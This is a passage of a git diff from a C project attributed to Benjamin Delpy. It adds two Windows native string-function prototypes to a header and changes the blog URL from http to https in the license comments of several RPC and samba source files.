+extern NTSTATUS WINAPI RtlUpcaseUnicodeStringToOemString(IN OUT POEM_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString);
extern BOOLEAN WINAPI RtlEqualString(IN const STRING *String1, IN const STRING *String2, IN BOOLEAN CaseInSensitive);
extern BOOLEAN WINAPI RtlEqualUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive);
@@ -39,6 +40,7 @@ extern LONG WINAPI RtlCompareString(IN const STRING *String1, IN const STRING *S
extern VOID WINAPI RtlFreeAnsiString(IN PANSI_STRING AnsiString);
extern VOID WINAPI RtlFreeUnicodeString(IN PUNICODE_STRING UnicodeString);
+extern VOID WINAPI RtlFreeOemString(IN OUT POEM_STRING OemString);
extern NTSTATUS WINAPI RtlStringFromGUID(IN LPCGUID Guid, PUNICODE_STRING UnicodeString);
extern NTSTATUS WINAPI RtlGUIDFromString(IN PCUNICODE_STRING GuidString, OUT GUID *Guid);
diff --git a/modules/rpc/kull_m_rpc.c b/modules/rpc/kull_m_rpc.c
index b94fd01..ecb2306 100644
--- a/modules/rpc/kull_m_rpc.c
+++ b/modules/rpc/kull_m_rpc.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/rpc/kull_m_rpc.h b/modules/rpc/kull_m_rpc.h
index 87c7648..2f672c8 100644
--- a/modules/rpc/kull_m_rpc.h
+++ b/modules/rpc/kull_m_rpc.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/samba/lib_smb_pipe.c b/samba/lib_smb_pipe.c
index a23669e..61427ce 100644
--- a/samba/lib_smb_pipe.c
+++ b/samba/lib_smb_pipe.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/